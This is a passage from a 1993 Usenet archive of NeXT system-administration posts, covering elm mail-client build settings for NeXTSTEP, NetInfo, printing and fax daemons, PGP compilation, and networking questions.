went faster, but CSLIP : won't help this much. : Could it be that those packet headers are being compressed by : v.42bis a whole bunch, and that's what causing my fairly good ; speed? : : As it so happens I wrote a short note to Matthew Dillon on this : subject a few minutes ago. Here is the text. : : Forgive me, but I disagree. I run SLIP over a pair of V32.bis V42.bis : modems (ie. 14,400 bps with LAP/M) with the serial ports configured to : 38,400 bps and interactive performance is barely as good as a direct : connection at 2400 bps (except, that is for lengthy output -- a 'ls' : of a long directory is of course much faster). If you look at the VJ : TCP header compression used by CSLIP you find that most of the schemes : used for compression actually are reasonably clever in a way in which : the LZW derivative which LAP/M uses couldn't be. For example, the : default packet number for each header is the old packet number + 1. : None of the standard compression algorithms I know of, would be clever : enough to detect that pattern and compress it away. : : Carl Edman This is all covered quite nicely in RFC1144, which goes with your friendly (C)SLIP implementation :-) (Hi Louie - I never received an answer to my mail at or shortly after 20th of December last year - did you ever receive it ?) -- Toon Moene (toon@moene.indiv.nluug.nl) Kantershof 269, 1104 GN Amsterdam, The Netherlands Phone: + 31 20 6982029; Fax: + 31 20 6003411 No Disclaimers; a NeXT at home protects against this occupational hazard.
From: gthomas@unixg.ubc.ca (Guy R Thomas) Newsgroups: comp.sys.next.sysadmin Subject: elm2.4pl21 on NeXTSTEP 2.2 What obscure incantation works? Date: 23 Feb 93 20:45:42 GMT Organization: The University of British Columbia Message-ID: <gthomas.730500342@unixg.ubc.ca> The FAQ says that the NeXT specific changes to the Configure script need to be updated. Does anyone have elm up on NeXTSTEP 2.2? I have tried to compile it but the option -bsd to the compiler produces an error. Removing -bsd gets redefinition warnings in the first module. In total, thus far, a very frustrating experience. I would appreciate even notification of the success of someone else to help reassure me that it is possible :-). Thanks, Guy gthomas@native-ed.bc.ca
Newsgroups: comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: Re: elm2.4pl21 on NeXTSTEP 2.2 What obscure incantation works? Message-ID: <1993Feb24.010437.8494@macc.wisc.edu> Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison References: <gthomas.730500342@unixg.ubc.ca> Date: Wed, 24 Feb 93 01:04:37 GMT In article <gthomas.730500342@unixg.ubc.ca> gthomas@unixg.ubc.ca (Guy R Thomas) writes: >The FAQ says that the NeXT specific changes to the Configure script >need to be updated. Does anyone have elm up on NeXTSTEP 2.2? > >I have tried to compile it but the option -bsd to the compiler >produces an error. Removing -bsd gets redefinition warnings in the >first module. In total, thus far, a very frustrating experience. I had 2.3pl11 running under NS 2.1, but I tossed my notes on how to do it when I upgraded to NS 3.0. One big difference was that include directories were rearranged. I *definitely* used ccflags='-bsd -fwritable-strings' and I think I used libc='/lib/libsys_s.a' (but you might check to make sure that's where libsys_s.a actually is). I'm sure I also used ldflags='-lsys_s'. But a lot of things changed in elm on the way to 2.4, and some of your problem may lie there. I seem to remember that include='usr/include' was the standard place in 2.x. The problems you're having *may* come from additional things needed with elm 2.4 that were not there in 2.3. For instance, you'll need sigtype='int' and memcpy='undef', plus nametype='bsd' d_passnames='undef' d_berknames='undef' d_usgnames='undef' As only dot locking was available, you'll need d_flock='undef' d_dotlock='define' d_fcntlock='undef' (All of these in config.sh, which you have to run all the *SH file against before doing the make. Here's a script I use (snip it out and put it in your elm directory, make it executable with chmod +x and run it after editing config.sh manually: sh Makefile.SH sh config.h.SH cd doc \rm -f config.sh sh Makefile.SH cd ../filter \rm -f config.sh sh Makefile.SH cd ../hdrs \rm -f config.sh sh sysdefs.SH cd ../lib \rm -f config.sh sh Makefile.SH cd ../src \rm -f config.sh sh Makefile.SH cd ../utils \rm -f config.sh sh Makefile.SH sh checkalias.SH sh messages.SH sh printmail.SH cd .. -- [Jess Anderson <> Division of Information Technology, University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
Newsgroups: comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: Re: elm2.4pl21 on NeXTSTEP 2.2 What obscure incantation works? Message-ID: <1993Feb24.011906.9088@macc.wisc.edu> Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison References: <gthomas.730500342@unixg.ubc.ca> <1993Feb24.010437.8494@macc.wisc.edu> Date: Wed, 24 Feb 93 01:19:06 GMT In article <1993Feb24.010437.8494@macc.wisc.edu> anderson@macc.wisc.edu (Jess Anderson) writes: Sorry, I had intended to mail this, not post it. Now that I look at it again, I think there's at least one mistake here: >>I have tried to compile it but the option -bsd to the compiler >>produces an error. Removing -bsd gets redefinition warnings in the >>first module. In total, thus far, a very frustrating experience. >I had 2.3pl11 running under NS 2.1, but I tossed my notes on >how to do it when I upgraded to NS 3.0. One big difference >was that include directories were rearranged. >I *definitely* used ccflags='-bsd -fwritable-strings' and I think >I used libc='/lib/libsys_s.a' (but you might check to make sure >that's where libsys_s.a actually is). I'm sure I also used >ldflags='-lsys_s'. But a lot of things changed in elm on the way to ldflags is the wrong keyword; libs='-lsys_s' makes more sense. >2.4, and some of your problem may lie there. > >I seem to remember that include='usr/include' was the standard >place in 2.x. The problems you're having *may* come from additional >things needed with elm 2.4 that were not there in 2.3. For instance, >you'll need sigtype='int' and memcpy='undef', plus >nametype='bsd' >d_passnames='undef' >d_berknames='undef' >d_usgnames='undef' I have mail from a couple people who did this differently from me. However, that's what I have now, and it seems to work. >As only dot locking was available, you'll need (I think; it's what I have now) >d_flock='undef' >d_dotlock='define' >d_fcntlock='undef' -- [Jess Anderson <> Division of Information Technology, University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
Newsgroups: comp.mail.elm,comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: Elm on NeXT machines: help needed for FAQ Message-ID: <1993Feb24.040038.14808@macc.wisc.edu> Followup-To: poster Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison Date: Wed, 24 Feb 93 04:00:38 GMT [Note: the Followups-To: line has been set to poster; I think the better newsreaders recognize this as a signal to direct followups to me by email.] For some time, I've been supporting Elm users running on NeXT machines. I'm trying to get complete and accurate information about several matters, since there seems to be a variety of options that work, yet would seem to make a difference. In the best of all possible worlds, a member of the Elm development team would have a NeXT and be interested in these problems; from what I can tell, there doesn't seem to be any such person. This is cross-posted to comp.mail.elm and comp.sys.next.sysadmin in an effort to snag someone who's knowledgeable in both realms *and* willing to help out. Ideally, it would be wonderful if Configure would recognize that it's being run on a NeXT (actually, it does recognize that, but doesn't make use of the fact). I'm interested primarily in compiling and running Elm under NeXTstep 3.0, though I note people running with NS2.x are also having problems (different ones, of course). At least I can compile it and run with apparent success, which the 2.x folks either can't or haven't told me about. So that's one thing: if you have Elm2.4PL21 (not interested in earlier versions, though) going under NS2.1 or 2.2, I'd like to know how you did it. For NS3.0, here's the part I think is *for sure*: At the shell escape at the end of Configure, you *must* do these two changes (I also made other changes, about which more below): [johann:anderson]Elm[6] diff config.sh.raw config.sh 12c12 < d_memcpy='define' --- > d_memcpy='undef' 275c275 < sigtype='void' --- > sigtype='int' Oddly, Configure says it finds a memcpy(), but for some reason the compilation won't work if you leave it defined (I think making it undefined makes Elm use its own, or something). Also, as things presently stand, you have to change two header files in the sources, to bypass references to unistd.h, which does not exist for NeXT. Jeff Nicholson-Owens did this more elegantly than I did, taking advantage of the symbol 'NeXT', which Configure does define (here's where): Your C preprocessor defines the following symbols: mc68000 unix __STDC__ NeXT Here are Jeff's diffs on the two header files (hope he doesn't mind): {Don't neglect to keep the originals, obviously.} $ diff hdrs/defs.h hdrs/defs.h.orig 498,499c498 < #ifndef NeXT < # ifndef ANSI_C /* ANSI puts these in string.h */ --- > #ifndef ANSI_C /* ANSI puts these in string.h */ 505,508c504,506 < # else < # include <unistd.h> /* ansi C puts sleep, lseek and fseek in unistd.h */ < # endif < #endif /* NeXT */ --- > #else > # include <unistd.h> /* ansi C puts sleep, lseek and fseek in unistd.h */ > #endif $ diff hdrs/filter.h hdrs/filter.h.orig 217,219c217 < # ifndef NeXT < # include <unistd.h> /* NeXT doesn't have this header file */ < # endif /* !NeXT */ --- > #include <unistd.h> Now we get into things that depend on how you answer questions during Configure. I took the defaults on everything except these: Give the name of the program used to format the Elm documentation on your system: [/usr/bin/troff] /usr/bin/ptroff What options should Elm use with /usr/bin/ptroff: [] -t Any additional cc flags? [none] -bsd -fwritable-strings What is your domain name? [.UUCP] .bach.madison.wi.us {This is my home machine I'm talking about} What is the full path name of the include file directory? [] /usr/include/bsd Should support for MIME be compiled in? [n] y So far so good, though I have a fair number of questions that arise from what Configure says about what it sees. I made the following further changes to config.sh before proceeding. It isn't clear they are necessary (though I can swear it's working, so they don't seem to hurt, at least): 220c220 < d_tzname='define' --- > d_tzname='undef' This I did because otherwise I got a crazy large number for the time offset, like this: Date: Tue, 16 Feb 1993 01:48:26 -36803936 (CST) What Configure says about this is strange: tzname() found /usr/include/time.h: No such file or directory /usr/include/sys/time.h: No such file or directory You have timezone defined in /usr/include/time.h /usr/include/sys/time.h rather than tz_minuteswest. Anyway it looks like another requirement is d_tzname='undef' (compiles either way, but works right if you do it, which is a good test :-). NeXTs have this peculiar network management system called NetInfo, as a result of which /etc/passwd is normally not referred to (god knows what kind of mess occurs if you use NIS). The password file is otherwise normal looking (here's an edited one), but it's kept in the NetInfo database, whence it can be obtained by a special dump command: root:<secret>:0:1:System Administrator:/:/bin/csh anderson:<secret>:21:0:Jess Anderson:/Users/anderson:/bin/csh ftp:*:9:-2:Anonymous FTP:/ftp:/bin/false This leads to this diff in config.sh: 271c271 < passcat='cat /etc/passwd' --- > passcat='nidump passwd /' It isn't clear to me, though, that (at least in my own case) this is ever actually used. Btw, that / is the root of the NetInfo database, not the root of the file system. Since I took all the defaults except those already mentioned, the unedited config.sh has: nametype='other' d_passnames='undef' d_berknames='undef' d_usgnames='undef' One person wrote me that he left nametype as 'other' and changed d_passnames to 'define', since this gets the personal name of another user on the same machine into the header. This problem does not arise in my own case; all users I mail to are on other machines, though a couple of them also have accounts on mine (thank heavens for aliases, eh?). Instead I set nametype='bsd': 267c267 < nametype='other' --- > nametype='bsd' I've forgotten what not doing it causes; compiler errors, I seem to remember. I don't have a ~/.fullname, that I know, which is what Configure says will be used. NeXTs are BSDish widgies, so I also use this, without being sure it's necessary (I think it is, but somebody asked me about it, and I don't know the answer): 281c281 < d_bsd='undef' --- > d_bsd='define' OK (sorry about the length here). One final thing, about setuid/ setgid on the mail spool: My /usr/spool/mail has these permissions: drwxrwxrwt 2 root wheel 1024 Feb 23 19:53 mail/ Yet I answered (the default) to Am I going to be running as a setgid program? [y] ignoring the immediately preceding warning, because it looks like (I'd like to be sure) the next thing Configure does is tell me I have to install it as root (no problem), and then checks whether I can switch between real and effective gid values. I'm not sure, but it looks like I can, since the default says yes, and I have no locking problems. setgid programs are bad things, right? I should change this, I guess, but will something break? What I mean is, what are the consequences other than maybe improved security? I'll attempt something like a summary, if help arrives. I'd like to get the straight poop into the FAQ eventually. -- [Jess Anderson <> Division of Information Technology, University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy)) Newsgroups: comp.sys.next.sysadmin Subject: Re: How does one back up to multiple floppies with gnutar? Message-ID: <HARDY.93Feb24001937@golem.ps.uci.edu> Date: 24 Feb 93 08:17:52 GMT References: <HARDY.93Feb22232252@golem.ps.uci.edu> Organization: Department of Physics, UC Irvine, CA 92717-4575, USA In-reply-to: hardy@golem.ps.uci.edu's message of 23 Feb 93 07:21:11 GMT Thanks to all who sent suggestions/scripts, and to Greg Cockroft of Agog for pointing out what I did wrong with Squash. Squash still turned out to be the simplest solution for archiving to multiple floppies. -- Hardy ----- Meinhard E. Mayer, Department of Physics, UC Irvine e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET !!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
Newsgroups: comp.sys.next.sysadmin From: root@cs.columbia.edu (Operator) Subject: NetInfo: /users/<name>/info Message-ID: <C2y6CF.BL1@cs.columbia.edu> Sender: news@cs.columbia.edu (The Daily News) Organization: Columbia University Department of Computer Science Date: Wed, 24 Feb 1993 09:57:51 GMT In the process of a niload -d I discovered the /users/name/info 'directories', 'owner'-writable. None of them seem to have been used for anything yet, though, and I was wondering if anybody _has_ seen theirs used, and if so, how? Thanks. - Lee
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf) Newsgroups: comp.sys.next.sysadmin Subject: index and Mail Date: 24 Feb 1993 11:06:58 GMT Organization: Technical University of Berlin, Germany Message-ID: <1mfksj$f9h@news.cs.tu-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit hello Why is ist impossible to index mail? Whenevvedr I try to, I always get the title list but will not find anything the mail body. Is there a problem with the filename-extension, the file-attributes? Did somebody out there index his/her homedir? thanx in advance SfR -- Stephan Fruhauf gonzo@opal.cs.tu-berlin.de what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
From: steve@estel.uindy.edu (Steve Spicklemire) Newsgroups: comp.sys.next.sysadmin Subject: CAP, EtherPrint Plus, thinwire etc Date: 24 Feb 1993 14:37:26 GMT Organization: Truevision Inc., Indianapolis, IN Distribution: world Message-ID: <1mg176INNc2c@epic.truevision.com> Hi, I am about to expose the vast wasteland that is my ignorance, so be prepared. I am trying to do two things at once (I should know better) but as they *are* related, I thought it might save time. I want to (1)Set up CAP on my NeXT here, at the Universiry, so that folks on Macs can share my hard disk and (2) help a friend of mine connect his localTalked Macs at home to his NeXT so that he can print to the NeXT printer, share files, etc. CAP looks like it might be the way to go here as well. Some questions: (a) Where is the latest CAP for NeXT. I have built a version I found at gatekeeper.dec.com, but I don't know if it's the latest. It doesn't seem to support native EtherTalk for the NeXT which I will need for (2) above. Does the latest version support direct EtherTalk (i.e. *not* just IPTalk?) (b) Is it possible to do the following? NeXT 10baseT <---------->| EtherPrintPlus |--- LocalTalk Macs... i.e. can I put a NeXT and an EtherPrint Plus on a single line of twisted pair and expect it to work with no repeater? Do I have to do anything to the wire (e.g., swap lines etc.?) to make this work. I've tried this at work with a NeXT on thin wire, connected to a repeater, and the EtherGate connected to a (different) 10baseT repeater and it works O.K. (e.g., I can mount the Mac drive 'through' the EtherPrint Plus.) (c) is there anything special you need to do to tell the NeXT to use the 10baseT port rather than the thin wire port? I've had some problems here getting the NeXT to correctly claim that it was connected to the network when on 10baseT. A Mac, using the same wire, works fine (using an Asante multiport enet card). (d) At the Universty we have several GatorBoxen. I suppose even if CAP doesn't do direct EtherTalk, the GatorBox allows IPTalk to be converted to EtherTalk. We are *not* currently using the Gatorboxen to do IP tunneling. Should I turn *on* IP tunneling, or leave it off for CAP? thanks! -steve --------------------------< cut here >---------------------------- Steve Spicklemire (317) 788-3313 steve@estel.uindy.edu Dept of Mathematics and Physics NeXTmail Welcome! 1400 East Hanna Avenue, 46227
Newsgroups: comp.sys.next.sysadmin From: bill@leeweyr.sccsi.com (Bill Lee) Subject: FaxDaemon dying Message-ID: <1993Feb24.033944.380@leeweyr.sccsi.com> Organization: Lee Aerie Date: Wed, 24 Feb 1993 03:39:44 GMT I am running a Neuron 1414 system on my 2.1 NeXT. Lately I have been having trouble with the FaxDaemon dying. I will look one minute and it's there, and the next it is gone. And when it's gone, my uucp feed is dead. It seems to occur (observation this evening) when I get an incoming call from (presumably) my e-mail/USENET feed system and trouble is encountered. The phone rang, the modem answered, but there never appeared to be a proper connection made. A moment or so later, I looked and the daemon was gone. I keep an eye on the LOGFILE and no messages are logged. Nothing appears in the SYSLOG. How can I figure out what's happening? Should there be any messages logged somewhere? Can I start the daemon (in rc) so that it will be more fluent with information? I'm really looking for some help since this is becoming annoying. I am not a professional sysadmin, just someone who enjoys the NeXT as my home computer. Any advice will be appreciated. Regards, Bill Lee ps: While we're at it, what does the message ASSERT ERROR (uucico) pid: 256 (2/23-21:07) BAD SPEED (-1) in /usr/spool/uucp/ERRLOG mean? At times I am unable to make connection via uupoll and this is the message logged.
Newsgroups: comp.sys.next.sysadmin From: andrew@uaneuro.uah.ualberta.ca (Andrew Penn) Subject: Digital Librarian Message-ID: <1993Feb24.183537.16823@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Wed, 24 Feb 1993 18:35:37 GMT Is it possible to make Digital Librarian work with Write Now files. We tried one fix in the past with no success and I wondered if it was actually possible before retackling. Also is our NeXT Printers extreme difficulty with printing via manual feed and good quality stationary a terminal design fault or is it a reversible lesion! Andrew Penn andrew@uaneuro.uah.ualberta.ca
Newsgroups: comp.sys.next.sysadmin From: camilleg@cmp-rt.music.uiuc.edu (Camille M. Goudeseune) Subject: how to restart lpd? Date: Wed, 24 Feb 1993 19:04:43 GMT Message-ID: <C2yvnv.GxC@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Keywords: printing daemon Organization: University of Illinois School of Music From yet another struggling sysadmin... Running 2.1, every few days lpd stops working. Symptoms: from Preview, the "can't print" dialog; from lpr, things go into the queue but just pile up there. Solutions: Mucking around with lpc is to no avail. restart or start creates the daemon for a little while and then it dies again. Rebooting works, but is inconvenient when you're halfway through a 3 cpu-day process. Questions: (1) Is there another way to restore normality to the printing subsystem? (2) From this meager description, are there known "features" in Mach that could cause this behaviour? I'll followup with a summary. Thank you! Camille Goudeseune UIUC Computer Music Project
Newsgroups: comp.sys.next.sysadmin From: jcorallo@ccsi.com (P. John Corallo) Subject: Re: NetBoot client refuses user logins Message-ID: <1993Feb23.142443.234@ccsi.com> Sender: jcorallo@ccsi.com Organization: Crystal Computer Systems, Inc. References: <1993Feb22.161213.13087@linus.mitre.org> Date: Tue, 23 Feb 1993 14:24:43 GMT In article <1993Feb22.161213.13087@linus.mitre.org> wherndon@smiley.mitre.org (William Herndon) writes: > OK all you NeXT sysadmin gurus: I've got a problem that probably has > a simple solution, but I can't seem to find it. > > I have an 030 cube that is acting as a NetBoot client off of an 040 > station. I've done all of the usual setup, including: > > - Creating and exporting /clients/<cubename> (read/write/root) to > the the cube. > - Exporting / to the cube (read-only) > - Identifying the cube and the station in the NetInfo database. > - Identifying the necessary user accounts as "network". > > OK, so the cube loads and boots NeXTStep and mach with a couple of > error messages that don't seem to inhibit startup and login. ( One > seems to have to do with linking to, or linking, the "kern_loader". > The other says something about giving up on the station's hostname, > about it not being in the database. ) Anyway, the cube DOES come up, > and I can log in as root or as "me". However, logging in under any > of network user accounts fails. ( The workspace acts as if I'd en- > tered an incorrect password. ) > > What might be the problem? Does it have to do with exporting the > network user's home directories via NFS, or perhaps making them > available through NetInfo? I'm stumped and any help would be > appreciated. > > Thanks much. > Try exporting / to the netboot client as read/write that may help your problem.
Newsgroups: comp.sys.next.sysadmin From: korp@eid.anl.gov (Peter A. Korp) Subject: Root can't log in from console anymore, anyone else can... Message-ID: <1993Feb24.221657.17626@mcs.anl.gov> Keywords: 2.1, Upgrade.app, root, seg fault Sender: usenet@mcs.anl.gov Organization: Argonne National Laboratory, Argonne, Illinois Date: Wed, 24 Feb 1993 22:16:57 GMT I have a 68040 single headed ND Cube running 2.1 that has had the Upgrade.app for 3.0 run but never actually upgradedto 3.0. It is on a network of Suns and is served by a Sun via YP(NIS). My problem is as follows: any user local or remote can login on the console with no problem. But trying to log in as root brings up the workspace and immediatly causes an alert panel to pop up saying signal 10 internal error, segmentation violation.. blah blah blah... I have tried removing roots .NeXT directory changing the defaults database to the same as on other machines all to no avail. Any suggestions? -- Peter A. Korp Assistant Scientist Argonne National Laboratory korp@eid.anl.gov
Newsgroups: comp.sys.next.sysadmin From: collis@lele-next2.Stanford.EDU (Samuel Scott Collis) Subject: Workspace font Message-ID: <1993Feb24.223247.7356@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Wed, 24 Feb 93 22:32:47 GMT I realize this is a rather basic question, but could some nice person tell me how to change the workspace font (i.e. the font in title bars). My computer crashed and in the process screwed up my default font somehow. Thanks, -- Scott Collis Department of Mechanical Engineering Stanford University collis@lele-next2.stanford.edu (415) 725-3318
Newsgroups: comp.sys.next.sysadmin From: tlm@iastate.edu (Tom Marchioro) Subject: Re: Digital Librarian Message-ID: <tlm.730591804@scl1.al.iastate.edu> Sender: news@news.iastate.edu (USENET News System) Organization: Iowa State University, Ames IA References: <1993Feb24.183537.16823@kakwa.ucs.ualberta.ca> Date: Wed, 24 Feb 1993 22:10:04 GMT In <1993Feb24.183537.16823@kakwa.ucs.ualberta.ca> andrew@uaneuro.uah.ualberta.ca (Andrew Penn) writes: >Also is our NeXT Printers extreme difficulty with printing via manual feed >and good quality stationary a terminal design fault or is it a reversible >lesion! Hmm...I've had no trouble with either of these, though with good paper it's sometimes help to "fluff" the paper before putting it in the tray since some good paper tends to stick a bit. I use manual feeding all the time, since I'm kinda cheap and recycle the back sides of plots etc. by feeding them in again by hand. Tom
Newsgroups: comp.sys.next.sysadmin From: clarance@nshade.uah.ualberta.ca (Clarance Howett) Subject: Re: talk, rwho, printer questions Message-ID: <1993Feb24.234112.26728@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1m3aom$he7@news.cs.tu-berlin.de> Date: Wed, 24 Feb 1993 23:41:12 GMT In article <1m3aom$he7@news.cs.tu-berlin.de> gonzo@cs.tu-berlin.de (S. F. Ruehauf) writes: > > > Hello admins > > I've got a few questions > > 2- 'rusers' is a sytemV routine. rwho is bsd. > Why doesn't NeXT, right out of the box, support rwho? : > sfr@dasburo 73 (~) > rwho > /usr/spool/rwho: No such file or directory > Well maybe it doesn't support it 'right' out of the box but all you have to do is create the directory and run the deamon. That does no seem like that bad a deal. ---- Clarance Howatt
Newsgroups: comp.sys.next.sysadmin From: gerben@rna.indiv.nluug.nl Subject: .forward does not work with NeXT sendmail? Message-ID: <1993Feb24.204131.13304@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Wed, 24 Feb 1993 20:41:31 GMT I seem to be unable to get ~/.forward to work. I have a .forward file in my home directory, but it seems to be unused by sendmail. (The man page of aliases mentions it). Even running newaliases doesn't help. Has NeXT removed the functionality because of some Netinfo hack, or what? Help is very much appreciated (since I am leaving for 2 weeks tomorrow, and i want it functional before my departure). --Gerben -- Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
From: gopal@dworkin.wustl.edu (R.Gopalakrishnan) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.os.mach,comp.sys.next,comp.sys.next.misc Subject: Software for NeXT 3.0 Keywords: tcsh,X11R4 Message-ID: <38459@dworkin.wustl.edu> Date: 25 Feb 93 00:16:21 GMT Followup-To: poster Organization: Washington University St. Louis, MO Hi, I'm looking for source (or binaries) of tcsh for the Next 3.0 platform. Also do you have info about X11R4 for the Next in public domain. Thanks. You may reply to gopal@dworkin.wustl.edu
Newsgroups: comp.sys.next.sysadmin From: bpja@codex.com.au (Brett Adam) Subject: FAX MODEMS IN AUSTRALIA Message-ID: <1993Feb25.010847.920@codex.oz.au> Sender: bpja@codex.oz.au Organization: Codex Software Development Pty Ltd Date: Thu, 25 Feb 93 01:08:47 GMT We're trying to find a fax modem that works with our (and our customers) NeXT systems. Trouble is, due to local regulations, we have to use an Austel Approved modem. Not that many US brands are approved. The modems I've been testing claim Class 2 support (pre March 1992 Class 2 spec ratification however) and for whatever reason, the NeXT has varying degrees of trouble talking with them. In particular, the best we can acheive is that the modem dials, connects and then immediately hangs up the line. Does anyone have any insights into the realities of NeXT's Class 2 fax support, and does anyone have any alternative fax drivers that may be more 'generic' than the Interfax and HSD drivers supplied? We own a DoveFax and have tried it's drivers as well, to no avail. (We can't use the DoveFax here legitimately due to aforementioned approvals) Any help appreciated. NeXT is great, but we've got people wondering how true the advertised fax support really is ... Regards, Brett Adam -- ------------------------------------------------------------------- Brett Adam Xedoc Software Development Pty. Ltd. Melbourne, Australia Phone : +61 3 696 2490
From: arnim@umn.edu (Arnim Walter Sauerbier) Newsgroups: comp.sys.next.sysadmin Subject: Installing PGP 2.0 Summary: Seeking help installing PGP email encryption on NS 2.2 Keywords: PGP, encryption, installation-problems Message-ID: <C2zsCw.KzL@news.cis.umn.edu> Date: 25 Feb 93 06:50:37 GMT Article-I.D.: news.C2zsCw.KzL Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Has anyone built PGP on a NeXT? It's expecting a whole heapin' helpin of library functions I ain't never heard of. Arnim Sauerbier
Newsgroups: comp.sys.next.sysadmin From: tisue@athens.uchicago.edu (Seth Tisue) Subject: Deleting sync account Message-ID: <1993Feb25.024650.19372@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: Plaster Cramp Press Date: Thu, 25 Feb 1993 02:46:50 GMT Our machines came with the following system account: athens 8:44pm ~> nidump passwd . | grep sync sync::-2:-2::/:/bin/sync I'd rather not have a password-less account. Is it safe to change the password to *? How about to remove the account entirely? -- == Seth Tisue (s-tisue@uchicago.edu) "Beware of the wise/ Beware of the wise/ Lies, lies, lies" - Fred Frith "Devote your life to a lost cause" - Jandek
Newsgroups: comp.sys.next.sysadmin From: hitt@Xenon.Stanford.EDU (Daniel Hitt) Subject: netMgr, netwatch, networking pc with NeXT Message-ID: <1993Feb25.105913.15743@CSD-NewsHost.Stanford.EDU> Summary: need some setup info, or a netwatch program for a NeXT Keywords: NetManager, netwatch, networking, pc Sender: hitt@cs.stanford.edu Organization: Computer Science Department, Stanford University. Date: Thu, 25 Feb 1993 10:59:13 GMT I have a simple set up consisting of a PC, a NeXT, and an ethernet cable between them. I'm trying to use NCSA telnet from the PC to the NeXT. On the NeXT end, i have exactly two machines in the netinfo database, namely, the NeXT and the pc, and i have ip addresses for them (192.42.172.[1,2]) and ethernet addresses. But NCSA telnet says it can't make the connection. I think that the physical part is ok, because i've downloaded a program called netwatch, which runs on the PC and reports each packet that it senses. When i reboot the NeXT, for example, netwatch picks it up and reports that the NeXT has sent out an ARP (address resolution protocol, i suppose) message and an IP message. And if i do a ``fake'' ftp, i.e., type ftp *.*.*.* on the NeXT, netwatch catches the packets there also (as the NeXT puts out a query for the ethernet address matching the fake IP address *.*.*.*). So . . . i'd like to either have a better idea on how to configure the NeXT, or some kind of netwatch program to run on the NeXT, so that i can see what the PC is trying to do when i run telnet. It may be that such a netwatch for the NeXT would have to be run as root, and in that case, i'd need source code (for obvious security reasons). The NeXT is running 2.0. I'd be grateful for any response, and i'll post a summary if there seems to be any interest (i.e., if i get any request for info). Thanks. dan
From: rob@polestar.facl.mcgill.ca (Robert Macfarlane) Newsgroups: comp.sys.next.sysadmin,comp.infosystems.gopher Subject: Gopher server on NeXT 3.0? Message-ID: <1993Feb25.143353.6152@sifon.cc.mcgill.ca> Date: 25 Feb 93 14:33:53 GMT Sender: news@sifon.cc.mcgill.ca Followup-To: comp.sys.next.sysadmin Organization: McGill University Is anybody running a gopher server on a 3.0 system? The indexing doesn't seem to want to work for me. Any help would be greatly appreciated. Regards, Rob Macfarlane Faculty of Arts Computer Lab McGill University
From: eoliver@ralph.cs.haverford.edu (Erik Oliver) Newsgroups: comp.sys.next.sysadmin Subject: Re: Installing PGP 2.0 Keywords: PGP, encryption, installation-problems Message-ID: <1mir1p$949@venus.haverford.edu> Date: 25 Feb 93 16:10:33 GMT References: <C2zsCw.KzL@news.cis.umn.edu> Organization: Haverford College Computer Science Department In article <C2zsCw.KzL@news.cis.umn.edu> arnim@umn.edu (Arnim Walter Sauerbier) writes: >Has anyone built PGP on a NeXT? It's expecting a whole heapin' helpin >of library functions I ain't never heard of. > > > Arnim Sauerbier Yes, basically, aside from any localization changes, you need make only two: (1) in the makefile, on the line for next:, change -DMACH to -DBSD (2) during the compile of system.c it will compline that one of the char variables doesn't match the header, go into that file find the line and change it to const char. -Erik
Newsgroups: comp.sys.next.sysadmin From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin) Subject: growing VM -- how to diminish Message-ID: <1993Feb25.164744.9734@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Thu, 25 Feb 1993 16:47:44 GMT Is there a way to shrink the size of the swapfile in vm (without rebooting) after an application has grown it out of control? out nly CAD system available for the NeXT? John Price-Wilkin jpw@sansfoy.lib.virginia.edu
